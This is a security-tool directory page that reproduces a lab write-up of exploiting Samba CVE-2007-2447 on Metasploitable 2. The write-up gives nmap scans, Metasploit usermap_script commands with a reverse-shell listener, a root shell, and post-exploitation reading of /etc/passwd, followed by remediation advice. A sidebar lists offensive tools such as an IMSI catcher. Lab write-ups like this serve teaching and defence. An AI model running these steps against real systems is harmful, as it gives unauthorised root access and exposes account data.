Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
metasploitable2-pentest — Penetration test for Metasploitable 2 — Samba 3.0.20 Username Map Script (CVE-2007-2447) | Kitploit
أدوات/GitHubGitHub/malredfan/metasploitable2-pentest
ReconnaissancePort ScanningVulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingLearning & EducationLabs & Practice
مشاركة
GitHubmalredfan/metasploitable2-pentest

metasploitable2-pentest

Penetration test for Metasploitable 2 — Samba 3.0.20 Username Map Script (CVE-2007-2447)

عرض المستودع
8 أكتوبر 2026لم تتم المراجعة بعد
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

Metasploitable 2 — Penetration Test

Samba 3.0.20 Username Map Script — CVE-2007-2447


Disclaimer: This is for educational purposes only. All testing was performed in an isolated virtual environment on Metasploitable 2. No real systems were harmed. Do not use these techniques against systems you do not own or have explicit permission to test.


Table of Contents

  • Overview
  • Lab Environment
  • Reconnaissance
  • Port & Service Scan
  • Exploitation
  • Additional Evidence
  • Risk Rating
  • Remediation
  • References
  • Contact

Overview

The objective of this project was to identify and exploit the Samba 3.0.20 username map script vulnerability (CVE-2007-2447) on Metasploitable 2, and to assess the level of access an attacker could gain.

A critical command injection vulnerability was discovered. Successful exploitation granted a remote root-level command shell with no credentials required, allowing full control over the target system.

ItemValue
TargetMetasploitable 2
Target IP192.168.56.101
AttackerKali Linux
Attacker IP192.168.56.102
NetworkHost-Only
CVECVE-2007-2447
CVSS10.0 Critical
Access GainedRoot
AuthenticationNone

Lab Environment

ComponentDetails
Attacker MachineKali Linux (VMware)
Attacker IP192.168.56.102
Target MachineMetasploitable 2 (VMware)
Target IP192.168.56.101
Network TypeHost-Only Network

Tools Used

ToolPurposeVersion
NmapNetwork scanning & port discovery7.99
MetasploitExploitation framework6.5.3-dev
NetcatReverse shell handlerIntegrated

Reconnaissance

nmap -sn 192.168.56.0/24

The scan discovered 4 active hosts, including:

  • Metasploitable 2 — 192.168.56.101
  • Kali Linux — 192.168.56.102

Nmap Ping Scan


Port & Service Scan

nmap -sV -sC -p- 192.168.56.101
PortProtocolStateServiceVersion
139TCPopennetbios-ssnSamba smbd 3.X - 4.X
445TCPopennetbios-ssnSamba smbd 3.0.20-Debian

ports139&445

Target Service Analysis

Samba is an open-source implementation of the SMB/CIFS protocol. The assigned vulnerability is CVE-2007-2447, affecting Samba version 3.0.20. The username map script option passes unsanitized user input directly to /bin/sh, allowing a remote, unauthenticated attacker to execute arbitrary commands with root privileges via MS-RPC calls.


Exploitation

Step 1 — Launch Metasploit

msfconsole

metasploit-startup

Step 2 — Select Module

use exploit/multi/samba/usermap_script
info

metasploit-module-info

Step 3 — Configure Options

set RHOSTS 192.168.56.101
set LHOST 192.168.56.102
show options

metasploit-config

Step 4 — Run Exploit & Verify Access

run
whoami
id
hostname
uname -a

root-shell

Exploitation Result Summary

ItemResult
Exploit Successful?Yes
Access Level GainedRoot
Shell TypeCommand Shell (Netcat)
Target Hostnamemetasploitable
Logged in asroot

Additional Evidence

After gaining root access, the following commands were executed:

cat /etc/passwd
ifconfig
netstat -antp
ps aux
ls -la /root

post-exploitation-passwd post-ifconfig post-exploitation-netstat ps-aux-processes post-exploitation-root-dir


Risk Rating

LevelScoreMeaning
Critical9.0–10.0Remote exploitation, no credentials, full system access
High7.0–8.9Significant damage, some conditions required
Medium4.0–6.9Limited impact, specific configuration required
Low0.1–3.9Minimal impact, difficult to exploit
Info0.0Informational finding, no direct risk

Vulnerability Assessment

ItemValue
CVE ReferenceCVE-2007-2447
CVSS Score10.0 (Critical)
Risk LevelCritical
Attack VectorNetwork
Authentication RequiredNone
Privileges GainedRoot
Impact on ConfidentialityComplete
Impact on IntegrityComplete
Impact on AvailabilityComplete

Why Is This Dangerous?

This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands with root privileges. An attacker does not need valid credentials or user interaction. In a real-world scenario, they could steal sensitive data, modify or delete critical files, install backdoors, and pivot to other systems in the internal network.


Remediation

Immediate Actions (Critical — Fix Now)

  • Upgrade Samba to version 3.0.25 or higher.
  • If SMB is not essential, disable the service entirely.
  • Apply the official security patch from Samba or your Linux distribution vendor.
  • Temporarily disable the username map script option in smb.conf if not required.

Short-Term Fixes (Within 1 Month)

  • Restrict access to SMB ports 139 and 445 via firewall.
  • Use network segmentation to isolate critical servers.
  • Enable detailed logging for SMB traffic.
  • Conduct vulnerability scans on all systems running Samba.
  • Harden Samba configuration by removing unnecessary features.

Long-Term Security Improvements

تنزيل الأداة

أدوات ذات صلة

  • amass

    رسم خرائط سطح الهجوم المتعمق واكتشاف الأصول

  • subfinder

    أداة سريعة لتعداد النطاقات الفرعية بشكل سلبي.

  • reconftw

    reconFTW هي أداة مصممة لإجراء استطلاع آلي على نطاق مستهدف عن طريق تشغيل أفضل مجموعة من الأدوات لإجراء المسح واكتشاف الثغرات.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    745
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    منصة IMSI Catcher تنشر خلية GSM مارقة لاعتراض الرسائل النصية القصيرة وحقن الرسائل وتتبع الأجهزة المحمولة

    732
  • 3

    Callisto

    jetp1ane/callisto

    أداة تحليل ثغرات ثنائية آلية تقوم بفك ترجمة الملفات التنفيذية عبر Ghidra، ومسح كود شبه-C باستخدام Semgrep، والتحقق من النتائج باستخدام GPT-3.5-Turbo لتقليل الإيجابيات الكاذبة.

    610
  • 4

    opencti

    opencti-platform/opencti

    منصة مفتوحة لاستخبارات التهديدات السيبرانية

    546
  • 5

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    414
  • 6

    DFRoot

    a2333c/dfroot

    أداة root لنظام Android لهاتف Samsung Galaxy S25 Ultra (SM-S938B) تقوم بتسلسل DirtyFrag CVE-2026-43284 وCVE-2026-43499 للحصول على صلاحيات root تلقائيًا عند الإقلاع عبر KernelSU.

    413

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →